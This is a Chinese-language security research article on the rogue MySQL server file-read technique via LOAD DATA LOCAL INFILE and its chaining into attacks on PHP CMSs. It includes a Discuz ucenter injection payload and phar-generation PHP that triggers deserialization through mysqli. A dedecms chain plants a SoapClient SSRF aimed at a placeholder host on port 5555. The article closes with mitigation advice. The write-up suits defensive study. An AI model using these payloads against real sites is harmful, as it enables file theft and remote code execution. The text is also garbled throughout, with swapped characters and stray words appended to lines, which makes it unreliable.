做者:LoRexxar@知道创宇404实验室 & Dawu@知道创宇404实验室
原文地址:https://paper.seebug.org/1112/
英文版本:https://paper.seebug.org/1113/php
这应该是一个很早之前就爆出来的漏洞,而我见到的时候是在TCTF2018 final线下赛的比赛中,是被 Dragon Sector 和 Cykor 用来非预期h4x0r's club这题的一个技巧。html
http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/java
在后来的研究中,和@Dawu的讨论中顿时以为这应该是一个颇有趣的trick,在逐渐追溯这个漏洞的过去的过程当中,我渐渐发现这个问题做为mysql的一份feature存在了不少年,从13年就有人分享这个问题。python
在围绕这个漏洞的挖掘过程当中,咱们不断地发现新的利用方式,因此将其中大部分的发现都总结并准备了议题在CSS上分享,下面让咱们来一步步分析。mysql
================git
load data infile是一个很特别的语法,熟悉注入或者常常打CTF的朋友可能会对这个语法比较熟悉,在CTF中,咱们常常能遇到没办法load_file读取文件的状况,这时候惟一有可能读到文件的就是load data infile,通常咱们经常使用的语句是这样的:github
`load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n';`
mysql server会读取服务端的/etc/passwd而后将数据按照'\n'
分割插入表中,但如今这个语句一样要求你有FILE权限,以及非local加载的语句也受到secure_file_priv
的限制redis
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
若是咱们修改一下语句,加入一个关键字local。sql
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\\n'; Query OK, 11 rows affected, 11 warnings (0.01 sec) Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
加了local以后,这个语句就成了,读取客户端的文件发送到服务端,上面那个语句执行结果以下数据库
很显然,这个语句是不安全的,在mysql的文档里也充分说明了这一点
https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
在mysql文档中的说到,服务端能够要求客户端读取有可读权限的任何文件。
mysql认为客户端不该该链接到不可信的服务端。
咱们今天的这个问题,就是围绕这个基础展开的。
=======
在思考明白了前面的问题以后,核心问题就成了,咱们怎么构造一个恶意的mysql服务端。
在搞清楚这个问题以前,咱们须要研究一下mysql正常执行连接和查询的数据包结构。
一、greeting包,服务端返回了banner,其中包含mysql的版本
二、客户端登陆请求
三、而后是初始化查询,这里由于是phpmyadmin因此初始化查询比较多
四、load file local
因为个人环境在windows下,因此这里读取为C:/Windows/win.ini
,语句以下
load data local infile "C:/Windows/win.ini" into table test FIELDS TERMINATED BY '\\n';
首先是客户端发送查询
而后服务端返回了须要的路径
而后客户端直接把内容发送到了服务端
看起来流程很是清楚,并且客户端读取文件的路径并非从客户端指定的,而是发送到服务端,服务端制定的。
本来的查询流程为
客户端:我要把win.ini插入test表中 服务端:我要你的win.ini内容 客户端:win.ini的内容以下....
假设服务端由咱们控制,把一个正常的流程篡改为以下
客户端:我要test表中的数据 服务端:我要你的win.ini内容 客户端:win.ini的内容以下???
上面的第三句究竟会不会执行呢?
让咱们回到mysql的文档中,文档中有这么一句话:
服务端能够在任何查询语句后回复文件传输请求,也就是说咱们的想法是成立的
在深刻研究漏洞的过程当中,不难发现这个漏洞是否成立在于Mysql client端的配置问题,而通过一番研究,我发如今mysql登陆验证的过程当中,会发送客户端的配置。
在greeting包以后,客户端就会连接并试图登陆,同时数据包中就有关因而否容许使用load data local的配置,能够从这里直白的看出来客户端是否存在这个问题(这里返回的客户端配置不必定是准确的,后面会提到这个问题)。
===
在想明白原理以后,构建恶意服务端就变得不那么难了,流程很简单 1.回复mysql client一个greeting包 2.等待client端发送一个查询包 3.回复一个file transfer包
这里主要是构造包格式的问题,能够跟着原文以及各类文档完成上述的几回查询.
值得注意的是,原做者给出的poc并无适配全部的状况,部分mysql客户端会在登录成功以后发送ping包,若是没有回复就会断开链接。也有部分mysql client端对greeting包有较强的校验,建议直接抓包按照真实包内容来构造。
原做者给出的poc
https://github.com/Gifts/Rogue-MySql-Server
==
这里用了一台腾讯云作服务端,客户端使用phpmyadmin链接
咱们成功读取了文件。
====
在这个漏洞到底有什么影响的时候,咱们首先必须知道到底有什么样的客户端受到这个漏洞的威胁。
--
在深刻挖掘这个漏洞的过程当中,第一时间想到的利用方式就是mysql探针,但惋惜的是,在测试了市面上的大部分探针后发现大部分的探针链接以后只接受了greeting包就断开链接了,没有任何查询,尽职尽责。
国内
国际云服务商
以前的一篇文章中提到过,在Excel中通常有这样一个功能,从数据库中同步数据到表格内,这样一来就能够经过上述方式读取文件。
受到这个思路的启发,咱们想到能够找online的excel的这个功能,这样就能够实现任意文件读取了。
Google 表格 (原生没有这个功能,但却支持插件,下面主要说插件)
- Advanced CFO Solutions MySQL Query failed
========
抛开咱们前面提的一些很特殊的场景下,咱们也要讨论一些这个漏洞在通用场景下的利用攻击链。
既然是围绕任意文件读取来讨论,那么最能直接想到的必定是有关配置文件的泄露所致使的漏洞了。
在Discuz x3.4的配置中存在这样两个文件
config/config\_ucenter.php config/config\_global.php
在dz的后台,有一个ucenter的设置功能,这个功能中提供了ucenter的数据库服务器配置功能,经过配置数据库连接恶意服务器,能够实现任意文件读取获取配置信息。
配置ucenter的访问地址。
原地址: http://localhost:8086/upload/uc\_server 修改成: http://localhost:8086/upload/uc\_server\\');phpinfo();//
当咱们得到了authkey以后,咱们能够经过admin的uid以及盐来计算admin的cookie。而后用admin的cookie以及UC_KEY
来访问便可生效
2018年BlackHat大会上的Sam Thomas分享的File Operation Induced Unserialization via the “phar://” Stream Wrapper议题,原文https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf。
在该议题中提到,在PHP中存在一个叫作Stream API,经过注册拓展能够注册相应的伪协议,而phar这个拓展就注册了phar://
这个stream wrapper。
在咱们知道创宇404实验室安全研究员seaii曾经的研究(https://paper.seebug.org/680/)中表示,全部的文件函数都支持stream wrapper。
深刻到函数中,咱们能够发现,能够支持steam wrapper的缘由是调用了
stream = php\_stream\_open\_wrapper\_ex(filename, "rb" ....);
从这里,咱们再回到mysql的load file local语句中,在mysqli中,mysql的读文件是经过php的函数实现的
https://github.com/php/php-src/blob/master/ext/mysqlnd/mysqlnd\_loaddata.c#L43-L52 if (PG(open\_basedir)) { if (php\_check\_open\_basedir\_ex(filename, 0) == -1) { strcpy(info->error\_msg, "open\_basedir restriction in effect. Unable to open file"); info->error\_no = CR\_UNKNOWN\_ERROR; DBG\_RETURN(1); } } info->filename = filename; info->fd = php\_stream\_open\_wrapper\_ex((char \*)filename, "r", 0, NULL, context);
也一样调用了php_stream_open_wrapper_ex
函数,也就是说,咱们一样能够经过读取phar文件来触发反序列化。
首先须要一个生成一个phar
pphar.php <?php class A { public $s \= ''; public function \_\_wakeup () { echo "pwned!!"; } } @unlink("phar.phar"); $phar \= new Phar("phar.phar"); //后缀名必须为phar $phar\->startBuffering(); $phar\->setStub("GIF89a "."<?php \_\_HALT\_COMPILER(); ?>"); //设置stub $o \= new A(); $phar\->setMetadata($o); //将自定义的meta-data存入manifest $phar\->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar\->stopBuffering(); ?>
使用该文件生成一个phar.phar
而后咱们模拟一次查询
test.php <?php class A { public $s \= ''; public function \_\_wakeup () { echo "pwned!!"; } } $m \= mysqli\_init(); mysqli\_options($m, MYSQLI\_OPT\_LOCAL\_INFILE, true); $s \= mysqli\_real\_connect($m, '{evil\_mysql\_ip}', 'root', '123456', 'test', 3667); $p \= mysqli\_query($m, 'select 1;'); // file\_get\_contents('phar://./phar.phar');
图中咱们只作了select 1查询,但咱们伪造的evil mysql server中驱使mysql client去作load file local
查询,读取了本地的
phar://./phar.phar
成功触发反序列化
当一个反序列化漏洞出现的时候,咱们就须要从源代码中去寻找合适的pop链,创建在pop链的利用基础上,咱们能够进一步的扩大反序列化漏洞的危害。
php序列化中常见的魔术方法有如下 - 当对象被建立的时候调用:construct - 当对象被销毁的时候调用:destruct - 当对象被看成一个字符串使用时候调用:toString - 序列化对象以前就调用此方法(其返回须要是一个数组):sleep - 反序列化恢复对象以前就调用此方法:wakeup - 当调用对象中不存在的方法会自动调用此方法:call
配合与之相应的pop链,咱们就能够把反序列化转化为RCE。
dedecms 后台,模块管理,安装UCenter模块。开始配置
首先须要找一个肯定的UCenter服务端,能够经过找一个dz的站来作服务端。
而后就会触发任意文件读取,固然,若是读取文件为phar,则会触发反序列化。
咱们须要先生成相应的phar
<?php class Control { var $tpl; // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); public $dsql; function \_\_construct(){ $this\->dsql \= new SoapClient(null,array('uri'\=>'http://xxxx:5555', 'location'\=>'http://xxxx:5555/aaa')); } function \_\_destruct() { unset($this\->tpl); $this\->dsql\->Close(TRUE); } } @unlink("dedecms.phar"); $phar \= new Phar("dedecms.phar"); $phar\->startBuffering(); $phar\->setStub("GIF89a"."<?php \_\_HALT\_COMPILER(); ?>"); //设置stub,增长gif文件头 $o \= new Control(); $phar\->setMetadata($o); //将自定义meta-data存入manifest $phar\->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar\->stopBuffering(); ?>
而后咱们能够直接经过前台上传头像来传文件,或者直接后台也有文件上传接口,而后将rogue mysql server来读取这个文件
phar://./dedecms.phar/test.txt
监听5555能够收到
ssrf进一步能够攻击redis等拓展攻击面,就很少说了。
CMS名 | 影响版本 | 是否存在mysql任意文件读取 | 是否有可控的MySQL服务器设置 | 是否有可控的反序列化 | 是否可上传phar | 补丁 |
---|---|---|---|---|---|---|
phpmyadmin | <4.8.5 | 是 | 是 | 是 | 是 | 补丁 |
Dz | 未修复 | 是 | 是 | 否 | None | None |
drupal | None | 否(使用PDO) | 否(安装) | 是 | 是 | None |
dedecms | None | 是 | 是(ucenter) | 是(ssrf) | 是 | None |
ecshop | None | 是 | 是 | 否 | 是 | None |
禅道 | None | 否(PDO) | 否 | None | None | None |
phpcms | None | 是 | 是 | 是(ssrf) | 是 | None |
帝国cms | None | 是 | 是 | 否 | None | None |
phpwind | None | 否(PDO) | 是 | None | None | None |
mediawiki | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
Z-Blog | None | 是 | 否(后台没有修改mysql配置的方法) | 是 | 是 | None |
====
对于大多数mysql的客户端来讲,load file local是一个无用的语句,他的使用场景大可能是用于传输数据或者上传数据等。对于客户端来讲,能够直接关闭这个功能,并不会影响到正常的使用。
具体的关闭方式见文档 -https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html
对于不一样服务端来讲,这个配置都有不一样的关法,对于JDBC来讲,这个配置叫作allowLoadLocalInfile
在php的mysqli和mysql两种连接方式中,底层代码直接决定了这个配置。
这个配置是PHP_INI_SYSTEM
,在php的文档中,这个配置意味着Entry can be set in php.ini or httpd.conf
。
因此只有在php.ini中修改mysqli.allow_local_infile = Off
就能够修复了。
在php7.3.4的更新中,mysqli中这个配置也被默认修改成关闭
惋惜在再也不更新的旧版本mysql5.6中,不管是mysql仍是mysqli默认都为开启状态。
如今的代码中也能够经过mysqli_option
,在连接前配置这个选项。
http://php.net/manual/zh/mysqli.options.php
比较有趣的是,经过这种方式修复,虽然禁用了allow_local_infile
,可是若是使用wireshark抓包却发现allow_local_infile
还是启动的(可是无效)。
在旧版本的phpmyadmin中,先执行了mysqli_real_connect
,而后设置mysql_option
,这样一来allow_local_infile
实际上被禁用了,可是在发起连接请求时中allow_local_infile
尚未被禁用。
其实是由于mysqli_real_connect
在执行的时候,会初始化allow_local_infile
。在php代码底层mysqli_real_connect
实际是执行了mysqli_common_connect
。而在mysqli_common_connect
的代码中,设置了一次allow_local_infile
。
若是在mysqli_real_connect
以前设置mysql_option
,其allow_local_infile
的配置会被覆盖重写,其修改就会无效。
phpmyadmin在1月22日也正是经过交换两个函数的相对位置来修复了该漏洞。https://github.com/phpmyadmin/phpmyadmin/commit/c5e01f84ad48c5c626001cb92d7a95500920a900#diff-cd5e76ab4a78468a1016435eed49f79f
这是一个针对mysql feature的攻击模式,思路很是有趣,就目前而言在mysql层面无法修复,只有在客户端关闭了这个配置才能避免印象。虽然做为攻击面并非很普遍,但可能针对一些特殊场景的时候,能够特别有效的将一个正常的功能转化为任意文件读取,在拓展攻击面上很是的有效。
详细的攻击场景这里就不作假设了,危害仍是比较大的。